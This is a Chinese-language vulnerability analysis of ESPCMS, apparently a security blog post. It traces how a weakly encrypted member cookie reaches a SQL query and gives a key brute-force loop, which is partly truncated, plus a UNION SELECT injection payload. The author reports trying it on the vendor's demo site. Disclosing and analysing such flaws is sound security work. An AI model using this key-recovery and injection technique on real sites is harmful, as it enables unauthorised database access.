代码分析
最近看了下espcms的代码,发现了个比较有意思的注入

interface\membermain.php 第 33行

$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid  WHERE a.userid = $this->ec_member_username_id ";

难道是 int 注入 ,继续跟进 public\class_connector.php 第 415 行

function member_purview($userrank = false, $url = null, $upurl = false) {
........
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;

.......

}

直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数,
public\class_function.php 第179 行

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
		$result = '';
		if ($operation == 'ENCODE') {
			for ($i = 0; $i < strlen($string); $i++) {
				$char = substr($string, $i, 1);
				$keychar = substr($key, ($i % strlen($key)) - 1, 1);
				$char = chr(ord($char) + ord($keychar));
				$result.=$char;
			}
			$result = base64_encode($result);
			$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
		} elseif ($operation == 'DECODE') {
			$data = str_replace(array('-', '_'), array('+', '/'), $string);
			$mod4 = strlen($data) % 4;
			if ($mod4) {
				$data .= substr('====', $mod4);
			}
			$string = base64_decode($data);
			for ($i = 0; $i < strlen($string); $i++) { 				$char = substr($string, $i, 1); 				$keychar = substr($key, ($i % strlen($key)) - 1, 1); 				$char = chr(ord($char) - ord($keychar)); 				$result.=$char; 			} 		} 		return $result; 	}

额 很明显 这种函数式可逆的,只需要找出key即系统中的db_pscode 继续跟进 db_pscode 生成 install\fun_center.php 第 238 行

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

好吧 随机生成 ….. 在围观下 cookies中 ecisp_member_info的生成吧 interface\member.php 第 110 行

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]
|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

用户id 名称 邮箱 等等信息,这些对于攻击者都是可知的,那不是可以重举99到999 的key来匹配这些信息,计算出key之后,即可以操作cookie,传入任意sql语句(具体代码见附件中)

	for($i=99;$i
		$key=md5(md5($i));

		msg("Test $i :".$key);
		$admin_ClassURL=md5("http://".$argv[1]."/");
		$real_cookie_info=eccode($temp,'DECODE',$key);
 	if($real_cookie_info){

			if(strpos($real_cookie_info,$argv[2])  && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){

				msg("The Key  Is :".$key);
				break;

			}

		}

	}

利用演示

例如 官方演示站 ,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927

先实验下 select user()
Member_info 的明文为

1 and  1=2  union select  1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode 之后 (程序见附件)

编辑cookies 传入注入语句

刷新下会员中心 http://xxx.cn/index.php?ac=membermain&at=editinfo